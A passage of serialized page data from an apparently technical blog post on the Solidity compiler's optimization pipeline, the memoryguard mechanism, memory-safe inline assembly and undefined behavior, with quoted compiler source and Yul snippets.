m_generateEwasm)\n",{"type":25,"tag":271,"props":42260,"children":42261},{"class":13593,"line":11641},[42262,42267,42271,42275],{"type":25,"tag":271,"props":42263,"children":42264},{"style":13620},[42265],{"type":30,"value":42266},"        generateIR",{"type":25,"tag":271,"props":42268,"children":42269},{"style":13625},[42270],{"type":30,"value":394},{"type":25,"tag":271,"props":42272,"children":42273},{"style":13603},[42274],{"type":30,"value":17702},{"type":25,"tag":271,"props":42276,"children":42277},{"style":13625},[42278],{"type":30,"value":42279},"contract);\n",{"type":25,"tag":271,"props":42281,"children":42282},{"class":13593,"line":14354},[42283,42287],{"type":25,"tag":271,"props":42284,"children":42285},{"style":16171},[42286],{"type":30,"value":25404},{"type":25,"tag":271,"props":42288,"children":42289},{"style":13625},[42290],{"type":30,"value":42291}," (m_generateEvmBytecode)\n",{"type":25,"tag":271,"props":42293,"children":42294},{"class":13593,"line":14391},[42295],{"type":25,"tag":271,"props":42296,"children":42297},{"style":13625},[42298],{"type":30,"value":42299},"    {\n",{"type":25,"tag":271,"props":42301,"children":42302},{"class":13593,"line":14400},[42303,42307],{"type":25,"tag":271,"props":42304,"children":42305},{"style":16171},[42306],{"type":30,"value":16412},{"type":25,"tag":271,"props":42308,"children":42309},{"style":13625},[42310],{"type":30,"value":42311}," (m_viaIR)\n",{"type":25,"tag":271,"props":42313,"children":42314},{"class":13593,"line":16406},[42315,42320,42324,42328],{"type":25,"tag":271,"props":42316,"children":42317},{"style":13620},[42318],{"type":30,"value":42319},"            generateEVMFromIR",{"type":25,"tag":271,"props":42321,"children":42322},{"style":13625},[42323],{"type":30,"value":394},{"type":25,"tag":271,"props":42325,"children":42326},{"style":13603},[42327],{"type":30,"value":17702},{"type":25,"tag":271,"props":42329,"children":42330},{"style":13625},[42331],{"type":30,"value":42279},{"type":25,"tag":271,"props":42333,"children":42334},{"class":13593,"line":16434},[42335],{"type":25,"tag":271,"props":42336,"children":42337},{"style":16171},[42338],{"type":30,"value":42339},"        else\n",{"type":25,"tag":271,"props":42341,"children":42342},{"class":13593,"line":16447},[42343,42348,42352,42356],{"type":25,"tag":271,"props":42344,"children":42345},{"style":13620},[42346],{"type":30,"value":42347},"            compileContract",{"type":25,"tag":271,"props":42349,"children":42350},{"style":13625},[42351],{"type":30,"value":394},{"type":25,"tag":271,"props":42353,"children":42354},{"style":13603},[42355],{"type":30,"value":17702},{"type":25,"tag":271,"props":42357,"children":42358},{"style":13625},[42359],{"type":30,"value":42360},"contract, otherCompilers);\n",{"type":25,"tag":271,"props":42362,"children":42363},{"class":13593,"line":16465},[42364],{"type":25,"tag":271,"props":42365,"children":42366},{"style":13625},[42367],{"type":30,"value":16501},{"type":25,"tag":26,"props":42369,"children":42370},{},[42371,42373,42380,42381,42388],{"type":30,"value":42372},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":25,"tag":83,"props":42374,"children":42377},{"href":42375,"rel":42376},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[9066],[42378],{"type":30,"value":42379},"YulStack::optimize",{"type":30,"value":12218},{"type":25,"tag":83,"props":42382,"children":42385},{"href":42383,"rel":42384},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[9066],[42386],{"type":30,"value":42387},"Assembly::optimize",{"type":30,"value":1860},{"type":25,"tag":26,"props":42390,"children":42391},{},[42392],{"type":30,"value":42393},"In total, there are four steps.",{"type":25,"tag":661,"props":42395,"children":42396},{},[42397,42401,42406,42410],{"type":25,"tag":112,"props":42398,"children":42399},{},[42400],{"type":30,"value":42214},{"type":25,"tag":112,"props":42402,"children":42403},{},[42404],{"type":30,"value":42405},"Optimization of YUL IR",{"type":25,"tag":112,"props":42407,"children":42408},{},[42409],{"type":30,"value":42219},{"type":25,"tag":112,"props":42411,"children":42412},{},[42413],{"type":30,"value":42414},"Optimization of EVM opcodes",{"type":25,"tag":26,"props":42416,"children":42417},{},[42418],{"type":30,"value":42419},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":25,"tag":16074,"props":42421,"children":42422},{},[42423],{"type":25,"tag":26,"props":42424,"children":42425},{},[42426],{"type":30,"value":42427},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":25,"tag":26,"props":42429,"children":42430},{},[42431],{"type":30,"value":42432},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":25,"tag":26,"props":42434,"children":42435},{},[42436],{"type":30,"value":42437},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":25,"tag":26,"props":42439,"children":42440},{},[42441],{"type":30,"value":42442},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":25,"tag":96,"props":42444,"children":42446},{"id":42445},"guarantees",[42447],{"type":30,"value":42448},"Guarantees",{"type":25,"tag":26,"props":42450,"children":42451},{},[42452,42453,42460,42462,42467],{"type":30,"value":10272},{"type":25,"tag":83,"props":42454,"children":42457},{"href":42455,"rel":42456},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[9066],[42458],{"type":30,"value":42459},"Solidity memory layout",{"type":30,"value":42461}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":25,"tag":10281,"props":42463,"children":42464},{},[42465],{"type":30,"value":42466},"no information about this layout",{"type":30,"value":1860},{"type":25,"tag":26,"props":42469,"children":42470},{},[42471],{"type":30,"value":42472},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":25,"tag":26,"props":42474,"children":42475},{},[42476,42478,42484,42486,42492],{"type":30,"value":42477},"Introducing ",{"type":25,"tag":264,"props":42479,"children":42481},{"className":42480},[],[42482],{"type":30,"value":42483},"memoryguard",{"type":30,"value":42485},". If you've ever looked at the output of ",{"type":25,"tag":264,"props":42487,"children":42489},{"className":42488},[],[42490],{"type":30,"value":42491},"solc --ir",{"type":30,"value":42493},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":25,"tag":7764,"props":42495,"children":42497},{"className":17606,"code":42496,"language":17605,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    store(64, memoryguard(0x80))\n",[42498],{"type":25,"tag":264,"props":42499,"children":42500},{"__ignoreMap":7},[42501,42519],{"type":25,"tag":271,"props":42502,"children":42503},{"class":13593,"line":13594},[42504,42509,42514],{"type":25,"tag":271,"props":42505,"children":42506},{"style":14385},[42507],{"type":30,"value":42508},"    /// @src 0:26:371  \"contract ",{"type":25,"tag":271,"props":42510,"children":42511},{"style":14289},[42512],{"type":30,"value":42513},"XXX",{"type":25,"tag":271,"props":42515,"children":42516},{"style":14385},[42517],{"type":30,"value":42518}," {...\"\n",{"type":25,"tag":271,"props":42520,"children":42521},{"class":13593,"line":11641},[42522,42527,42531,42536,42540,42544,42548,42553],{"type":25,"tag":271,"props":42523,"children":42524},{"style":13620},[42525],{"type":30,"value":42526},"    store",{"type":25,"tag":271,"props":42528,"children":42529},{"style":13625},[42530],{"type":30,"value":394},{"type":25,"tag":271,"props":42532,"children":42533},{"style":16187},[42534],{"type":30,"value":42535},"64",{"type":25,"tag":271,"props":42537,"children":42538},{"style":13625},[42539],{"type":30,"value":44},{"type":25,"tag":271,"props":42541,"children":42542},{"style":13620},[42543],{"type":30,"value":42483},{"type":25,"tag":271,"props":42545,"children":42546},{"style":13625},[42547],{"type":30,"value":394},{"type":25,"tag":271,"props":42549,"children":42550},{"style":16187},[42551],{"type":30,"value":42552},"0x80",{"type":25,"tag":271,"props":42554,"children":42555},{"style":13625},[42556],{"type":30,"value":32833},{"type":25,"tag":26,"props":42558,"children":42559},{},[42560,42562,42569],{"type":30,"value":42561},"From ",{"type":25,"tag":83,"props":42563,"children":42566},{"href":42564,"rel":42565},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[9066],[42567],{"type":30,"value":42568},"the documentation",{"type":30,"value":407},{"type":25,"tag":16074,"props":42571,"children":42572},{},[42573],{"type":25,"tag":26,"props":42574,"children":42575},{},[42576,42578,42584,42586,42592,42594,42599],{"type":30,"value":42577},"The caller of ",{"type":25,"tag":264,"props":42579,"children":42581},{"className":42580},[],[42582],{"type":30,"value":42583},"let ptr := memoryguard(size)",{"type":30,"value":42585}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":25,"tag":264,"props":42587,"children":42589},{"className":42588},[],[42590],{"type":30,"value":42591},"[0, size)",{"type":30,"value":42593}," or the unbounded range starting at ",{"type":25,"tag":264,"props":42595,"children":42597},{"className":42596},[],[42598],{"type":30,"value":27070},{"type":30,"value":1860},{"type":25,"tag":26,"props":42601,"children":42602},{},[42603,42605,42610,42612,42618],{"type":30,"value":42604},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":25,"tag":264,"props":42606,"children":42608},{"className":42607},[],[42609],{"type":30,"value":42483},{"type":30,"value":42611}," return ",{"type":25,"tag":264,"props":42613,"children":42615},{"className":42614},[],[42616],{"type":30,"value":42617},"size + 32",{"type":30,"value":42619},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":25,"tag":26,"props":42621,"children":42622},{},[42623,42625,42632,42634,42639,42641,42646],{"type":30,"value":42624},"An example of this optimization in practice ",{"type":25,"tag":83,"props":42626,"children":42629},{"href":42627,"rel":42628},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[9066],[42630],{"type":30,"value":42631},"is the StackLimitEvader",{"type":30,"value":42633},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":25,"tag":10281,"props":42635,"children":42636},{},[42637],{"type":30,"value":42638},"only",{"type":30,"value":42640}," optimization pass that relies on the semantic information communicated by ",{"type":25,"tag":264,"props":42642,"children":42644},{"className":42643},[],[42645],{"type":30,"value":42483},{"type":30,"value":1860},{"type":25,"tag":26,"props":42648,"children":42649},{},[42650],{"type":30,"value":42651},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":25,"tag":26,"props":42653,"children":42654},{},[42655,42657,42663],{"type":30,"value":42656},"Fear not, for we can remove this pointer entirely and call ",{"type":25,"tag":264,"props":42658,"children":42660},{"className":42659},[],[42661],{"type":30,"value":42662},"memoryguard(0x60)",{"type":30,"value":42664}," instead. The rest of the pipeline will still work.",{"type":25,"tag":96,"props":42666,"children":42667},{"id":42176},[42668],{"type":30,"value":42669},"Memory Safety",{"type":25,"tag":26,"props":42671,"children":42672},{},[42673],{"type":30,"value":42674},"So what does memory safety mean?",{"type":25,"tag":26,"props":42676,"children":42677},{},[42678,42680,42686],{"type":30,"value":42679},"The Solidity documentation provides ",{"type":25,"tag":83,"props":42681,"children":42683},{"href":42151,"rel":42682},[9066],[42684],{"type":30,"value":42685},"a set of constraints",{"type":30,"value":42687},", not a definition.",{"type":25,"tag":16074,"props":42689,"children":42690},{},[42691,42696],{"type":25,"tag":26,"props":42692,"children":42693},{},[42694],{"type":30,"value":42695},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":25,"tag":661,"props":42697,"children":42698},{},[42699,42704,42709,42714],{"type":25,"tag":112,"props":42700,"children":42701},{},[42702],{"type":30,"value":42703},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":25,"tag":112,"props":42705,"children":42706},{},[42707],{"type":30,"value":42708},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":25,"tag":112,"props":42710,"children":42711},{},[42712],{"type":30,"value":42713},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":25,"tag":112,"props":42715,"children":42716},{},[42717],{"type":30,"value":42718},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":25,"tag":26,"props":42720,"children":42721},{},[42722,42724,42731,42741],{"type":30,"value":42723},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":25,"tag":83,"props":42725,"children":42728},{"href":42726,"rel":42727},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[9066],[42729],{"type":30,"value":42730},"removes the memory guard",{"type":25,"tag":28595,"props":42732,"children":42733},{},[42734],{"type":25,"tag":83,"props":42735,"children":42739},{"href":42736,"ariaDescribedBy":42737,"dataFootnoteRef":7,"id":42738},"#user-content-fn-1",[28602],"user-content-fnref-1",[42740],{"type":30,"value":968},{"type":30,"value":1860},{"type":25,"tag":7764,"props":42743,"children":42745},{"className":42222,"code":42744,"language":42224,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n  Whiskers{\n   _useMemoryGuard ?\n   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n  }\n",[42746],{"type":25,"tag":264,"props":42747,"children":42748},{"__ignoreMap":7},[42749,42757,42765,42772,42808,42815,42823,42831,42839,42847,42855,42868,42881,42889],{"type":25,"tag":271,"props":42750,"children":42751},{"class":13593,"line":13594},[42752],{"type":25,"tag":271,"props":42753,"children":42754},{"style":14385},[42755],{"type":30,"value":42756},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":25,"tag":271,"props":42758,"children":42759},{"class":13593,"line":11641},[42760],{"type":25,"tag":271,"props":42761,"children":42762},{"style":14385},[42763],{"type":30,"value":42764},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":25,"tag":271,"props":42766,"children":42767},{"class":13593,"line":14354},[42768],{"type":25,"tag":271,"props":42769,"children":42770},{"emptyLinePlaceholder":18},[42771],{"type":30,"value":16829},{"type":25,"tag":271,"props":42773,"children":42774},{"class":13593,"line":14391},[42775,42780,42785,42790,42794,42799,42804],{"type":25,"tag":271,"props":42776,"children":42777},{"style":13609},[42778],{"type":30,"value":42779},"string",{"type":25,"tag":271,"props":42781,"children":42782},{"style":13625},[42783],{"type":30,"value":42784}," IRGenerator::",{"type":25,"tag":271,"props":42786,"children":42787},{"style":13620},[42788],{"type":30,"value":42789},"memoryInit",{"type":25,"tag":271,"props":42791,"children":42792},{"style":13625},[42793],{"type":30,"value":394},{"type":25,"tag":271,"props":42795,"children":42796},{"style":14289},[42797],{"type":30,"value":42798},"bool",{"type":25,"tag":271,"props":42800,"children":42801},{"style":13598},[42802],{"type":30,"value":42803}," _useMemoryGuard",{"type":25,"tag":271,"props":42805,"children":42806},{"style":13625},[42807],{"type":30,"value":16299},{"type":25,"tag":271,"props":42809,"children":42810},{"class":13593,"line":14400},[42811],{"type":25,"tag":271,"props":42812,"children":42813},{"style":13625},[42814],{"type":30,"value":24005},{"type":25,"tag":271,"props":42816,"children":42817},{"class":13593,"line":16406},[42818],{"type":25,"tag":271,"props":42819,"children":42820},{"style":14385},[42821],{"type":30,"value":42822}," // This function should be called at the beginning of the EVM call frame\n",{"type":25,"tag":271,"props":42824,"children":42825},{"class":13593,"line":16434},[42826],{"type":25,"tag":271,"props":42827,"children":42828},{"style":14385},[42829],{"type":30,"value":42830}," // and thus can assume all memory to be zero, including the contents of\n",{"type":25,"tag":271,"props":42832,"children":42833},{"class":13593,"line":16447},[42834],{"type":25,"tag":271,"props":42835,"children":42836},{"style":14385},[42837],{"type":30,"value":42838}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":25,"tag":271,"props":42840,"children":42841},{"class":13593,"line":16465},[42842],{"type":25,"tag":271,"props":42843,"children":42844},{"style":16171},[42845],{"type":30,"value":42846}," return\n",{"type":25,"tag":271,"props":42848,"children":42849},{"class":13593,"line":16486},[42850],{"type":25,"tag":271,"props":42851,"children":42852},{"style":13625},[42853],{"type":30,"value":42854},"  Whiskers{\n",{"type":25,"tag":271,"props":42856,"children":42857},{"class":13593,"line":16495},[42858,42863],{"type":25,"tag":271,"props":42859,"children":42860},{"style":13625},[42861],{"type":30,"value":42862},"   _useMemoryGuard ",{"type":25,"tag":271,"props":42864,"children":42865},{"style":13603},[42866],{"type":30,"value":42867},"?\n",{"type":25,"tag":271,"props":42869,"children":42870},{"class":13593,"line":16744},[42871,42876],{"type":25,"tag":271,"props":42872,"children":42873},{"style":17388},[42874],{"type":30,"value":42875},"   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":25,"tag":271,"props":42877,"children":42878},{"style":13603},[42879],{"type":30,"value":42880}," :\n",{"type":25,"tag":271,"props":42882,"children":42883},{"class":13593,"line":16761},[42884],{"type":25,"tag":271,"props":42885,"children":42886},{"style":17388},[42887],{"type":30,"value":42888},"   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":25,"tag":271,"props":42890,"children":42891},{"class":13593,"line":16778},[42892],{"type":25,"tag":271,"props":42893,"children":42894},{"style":13625},[42895],{"type":30,"value":19003},{"type":25,"tag":26,"props":42897,"children":42898},{},[42899,42904,42906,42912],{"type":25,"tag":264,"props":42900,"children":42902},{"className":42901},[],[42903],{"type":30,"value":42491},{"type":30,"value":42905}," will now no longer have ",{"type":25,"tag":264,"props":42907,"children":42909},{"className":42908},[],[42910],{"type":30,"value":42911},"memoryguard(0x80)",{"type":30,"value":42913}," as expected.",{"type":25,"tag":7764,"props":42915,"children":42917},{"className":17606,"code":42916,"language":17605,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    mstore(64, 128)\n",[42918],{"type":25,"tag":264,"props":42919,"children":42920},{"__ignoreMap":7},[42921,42936],{"type":25,"tag":271,"props":42922,"children":42923},{"class":13593,"line":13594},[42924,42928,42932],{"type":25,"tag":271,"props":42925,"children":42926},{"style":14385},[42927],{"type":30,"value":42508},{"type":25,"tag":271,"props":42929,"children":42930},{"style":14289},[42931],{"type":30,"value":42513},{"type":25,"tag":271,"props":42933,"children":42934},{"style":14385},[42935],{"type":30,"value":42518},{"type":25,"tag":271,"props":42937,"children":42938},{"class":13593,"line":11641},[42939,42944,42948,42952,42956,42960],{"type":25,"tag":271,"props":42940,"children":42941},{"style":13620},[42942],{"type":30,"value":42943},"    mstore",{"type":25,"tag":271,"props":42945,"children":42946},{"style":13625},[42947],{"type":30,"value":394},{"type":25,"tag":271,"props":42949,"children":42950},{"style":16187},[42951],{"type":30,"value":42535},{"type":25,"tag":271,"props":42953,"children":42954},{"style":13625},[42955],{"type":30,"value":44},{"type":25,"tag":271,"props":42957,"children":42958},{"style":16187},[42959],{"type":30,"value":14233},{"type":25,"tag":271,"props":42961,"children":42962},{"style":13625},[42963],{"type":30,"value":16299},{"type":25,"tag":26,"props":42965,"children":42966},{},[42967,42969,42974,42976,42981],{"type":30,"value":42968},"Semantically, the absence of ",{"type":25,"tag":264,"props":42970,"children":42972},{"className":42971},[],[42973],{"type":30,"value":42483},{"type":30,"value":42975}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":25,"tag":264,"props":42977,"children":42979},{"className":42978},[],[42980],{"type":30,"value":42483},{"type":30,"value":42982}," invariant.",{"type":25,"tag":16074,"props":42984,"children":42985},{},[42986],{"type":25,"tag":26,"props":42987,"children":42988},{},[42989,42990,42995,42996,43001,43002,43007],{"type":30,"value":42577},{"type":25,"tag":264,"props":42991,"children":42993},{"className":42992},[],[42994],{"type":30,"value":42583},{"type":30,"value":42585},{"type":25,"tag":264,"props":42997,"children":42999},{"className":42998},[],[43000],{"type":30,"value":42591},{"type":30,"value":42593},{"type":25,"tag":264,"props":43003,"children":43005},{"className":43004},[],[43006],{"type":30,"value":27070},{"type":30,"value":1860},{"type":25,"tag":26,"props":43009,"children":43010},{},[43011],{"type":30,"value":43012},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":25,"tag":96,"props":43014,"children":43016},{"id":43015},"undefined-behavior",[43017],{"type":30,"value":43018},"Undefined Behavior",{"type":25,"tag":26,"props":43020,"children":43021},{},[43022,43024,43029,43031,43036,43038,43044],{"type":30,"value":43023},"How strict is memory safety? When it comes to ",{"type":25,"tag":264,"props":43025,"children":43027},{"className":43026},[],[43028],{"type":30,"value":42483},{"type":30,"value":43030},", only touching memory after 0x80 seems to matter. Is ",{"type":25,"tag":264,"props":43032,"children":43034},{"className":43033},[],[43035],{"type":30,"value":42141},{"type":30,"value":43037}," annotated assembly that touches memory at ",{"type":25,"tag":264,"props":43039,"children":43041},{"className":43040},[],[43042],{"type":30,"value":43043},"[0x40, 0x7f]",{"type":30,"value":43045}," really safe?",{"type":25,"tag":26,"props":43047,"children":43048},{},[43049,43050,43057,43059,43064],{"type":30,"value":10272},{"type":25,"tag":83,"props":43051,"children":43054},{"href":43052,"rel":43053},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[9066],[43055],{"type":30,"value":43056},"Solidity documentation",{"type":30,"value":43058}," mentions ",{"type":25,"tag":10281,"props":43060,"children":43061},{},[43062],{"type":30,"value":43063},"undefined behavior",{"type":30,"value":43065}," three times.",{"type":25,"tag":661,"props":43067,"children":43068},{},[43069,43074,43089],{"type":25,"tag":112,"props":43070,"children":43071},{},[43072],{"type":30,"value":43073},"The existence of a dangling reference",{"type":25,"tag":112,"props":43075,"children":43076},{},[43077,43079],{"type":30,"value":43078},"Using verbatim improperly",{"type":25,"tag":28595,"props":43080,"children":43081},{},[43082],{"type":25,"tag":83,"props":43083,"children":43087},{"href":43084,"ariaDescribedBy":43085,"dataFootnoteRef":7,"id":43086},"#user-content-fn-2",[28602],"user-content-fnref-2",[43088],{"type":30,"value":1326},{"type":25,"tag":112,"props":43090,"children":43091},{},[43092],{"type":30,"value":43093},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":25,"tag":26,"props":43095,"children":43096},{},[43097],{"type":30,"value":43098},"Why does this matter?",{"type":25,"tag":26,"props":43100,"children":43101},{},[43102,43104,43111,43113,43120],{"type":30,"value":43103},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":25,"tag":83,"props":43105,"children":43108},{"href":43106,"rel":43107},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[9066],[43109],{"type":30,"value":43110},"signed integer overflow is undefined",{"type":30,"value":43112},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":25,"tag":83,"props":43114,"children":43117},{"href":43115,"rel":43116},"https://blog.regehr.org/archives/1307",[9066],[43118],{"type":30,"value":43119},"years down the line",{"type":30,"value":1860},{"type":25,"tag":26,"props":43122,"children":43123},{},[43124,43126,43133,43134,43139],{"type":30,"value":43125},"Going back to Solidity, the specification makes ",{"type":25,"tag":83,"props":43127,"children":43130},{"href":43128,"rel":43129},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[9066],[43131],{"type":30,"value":43132},"it unambiguously clear",{"type":30,"value":31653},{"type":25,"tag":10281,"props":43135,"children":43136},{},[43137],{"type":30,"value":43138},"Thou shalt not modify the zero slot",{"type":30,"value":1860},{"type":25,"tag":16074,"props":43141,"children":43142},{},[43143],{"type":25,"tag":26,"props":43144,"children":43145},{},[43146],{"type":30,"value":43147},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":25,"tag":26,"props":43149,"children":43150},{},[43151,43153,43158],{"type":30,"value":43152},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":25,"tag":10281,"props":43154,"children":43155},{},[43156],{"type":30,"value":43157},"in Solidity",{"type":30,"value":1860},{"type":25,"tag":26,"props":43160,"children":43161},{},[43162],{"type":30,"value":43163},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":25,"tag":661,"props":43165,"children":43166},{},[43167],{"type":25,"tag":112,"props":43168,"children":43169},{},[43170,43172,43179],{"type":30,"value":43171},"It very clearly ",{"type":25,"tag":83,"props":43173,"children":43176},{"href":43174,"rel":43175},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[9066],[43177],{"type":30,"value":43178},"holds true today",{"type":30,"value":1860},{"type":25,"tag":7764,"props":43181,"children":43183},{"className":42222,"code":43182,"language":42224,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n    setLocation(_inlineAsm);\n    if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n        m_context.setMemoryUnsafeInlineAssemblySeen();\n    CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n    yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[43184],{"type":25,"tag":264,"props":43185,"children":43186},{"__ignoreMap":7},[43187,43227,43234,43247,43319,43340,43391,43398],{"type":25,"tag":271,"props":43188,"children":43189},{"class":13593,"line":13594},[43190,43194,43199,43204,43208,43213,43218,43223],{"type":25,"tag":271,"props":43191,"children":43192},{"style":14289},[43193],{"type":30,"value":42798},{"type":25,"tag":271,"props":43195,"children":43196},{"style":13625},[43197],{"type":30,"value":43198}," IRGeneratorForStatements::",{"type":25,"tag":271,"props":43200,"children":43201},{"style":13620},[43202],{"type":30,"value":43203},"visit",{"type":25,"tag":271,"props":43205,"children":43206},{"style":13625},[43207],{"type":30,"value":394},{"type":25,"tag":271,"props":43209,"children":43210},{"style":13609},[43211],{"type":30,"value":43212},"InlineAssembly",{"type":25,"tag":271,"props":43214,"children":43215},{"style":14289},[43216],{"type":30,"value":43217}," const&",{"type":25,"tag":271,"props":43219,"children":43220},{"style":13598},[43221],{"type":30,"value":43222}," _inlineAsm",{"type":25,"tag":271,"props":43224,"children":43225},{"style":13625},[43226],{"type":30,"value":16299},{"type":25,"tag":271,"props":43228,"children":43229},{"class":13593,"line":11641},[43230],{"type":25,"tag":271,"props":43231,"children":43232},{"style":13625},[43233],{"type":30,"value":24005},{"type":25,"tag":271,"props":43235,"children":43236},{"class":13593,"line":14354},[43237,43242],{"type":25,"tag":271,"props":43238,"children":43239},{"style":13620},[43240],{"type":30,"value":43241},"    setLocation",{"type":25,"tag":271,"props":43243,"children":43244},{"style":13625},[43245],{"type":30,"value":43246},"(_inlineAsm);\n",{"type":25,"tag":271,"props":43248,"children":43249},{"class":13593,"line":14391},[43250,43254,43258,43262,43267,43271,43276,43281,43286,43290,43294,43298,43302,43306,43310,43315],{"type":25,"tag":271,"props":43251,"children":43252},{"style":16171},[43253],{"type":30,"value":25404},{"type":25,"tag":271,"props":43255,"children":43256},{"style":13625},[43257],{"type":30,"value":16213},{"type":25,"tag":271,"props":43259,"children":43260},{"style":13603},[43261],{"type":30,"value":17702},{"type":25,"tag":271,"props":43263,"children":43264},{"style":13598},[43265],{"type":30,"value":43266},"_inlineAsm",{"type":25,"tag":271,"props":43268,"children":43269},{"style":13625},[43270],{"type":30,"value":1860},{"type":25,"tag":271,"props":43272,"children":43273},{"style":13620},[43274],{"type":30,"value":43275},"annotation",{"type":25,"tag":271,"props":43277,"children":43278},{"style":13625},[43279],{"type":30,"value":43280},"().",{"type":25,"tag":271,"props":43282,"children":43283},{"style":13598},[43284],{"type":30,"value":43285},"hasMemoryEffects",{"type":25,"tag":271,"props":43287,"children":43288},{"style":13603},[43289],{"type":30,"value":27306},{"type":25,"tag":271,"props":43291,"children":43292},{"style":13603},[43293],{"type":30,"value":25989},{"type":25,"tag":271,"props":43295,"children":43296},{"style":13598},[43297],{"type":30,"value":43266},{"type":25,"tag":271,"props":43299,"children":43300},{"style":13625},[43301],{"type":30,"value":1860},{"type":25,"tag":271,"props":43303,"children":43304},{"style":13620},[43305],{"type":30,"value":43275},{"type":25,"tag":271,"props":43307,"children":43308},{"style":13625},[43309],{"type":30,"value":43280},{"type":25,"tag":271,"props":43311,"children":43312},{"style":13598},[43313],{"type":30,"value":43314},"markedMemorySafe",{"type":25,"tag":271,"props":43316,"children":43317},{"style":13625},[43318],{"type":30,"value":16299},{"type":25,"tag":271,"props":43320,"children":43321},{"class":13593,"line":14400},[43322,43327,43331,43336],{"type":25,"tag":271,"props":43323,"children":43324},{"style":13598},[43325],{"type":30,"value":43326},"        m_context",{"type":25,"tag":271,"props":43328,"children":43329},{"style":13625},[43330],{"type":30,"value":1860},{"type":25,"tag":271,"props":43332,"children":43333},{"style":13620},[43334],{"type":30,"value":43335},"setMemoryUnsafeInlineAssemblySeen",{"type":25,"tag":271,"props":43337,"children":43338},{"style":13625},[43339],{"type":30,"value":16820},{"type":25,"tag":271,"props":43341,"children":43342},{"class":13593,"line":16406},[43343,43348,43352,43356,43361,43366,43370,43374,43378,43382,43387],{"type":25,"tag":271,"props":43344,"children":43345},{"style":13625},[43346],{"type":30,"value":43347},"    CopyTranslate 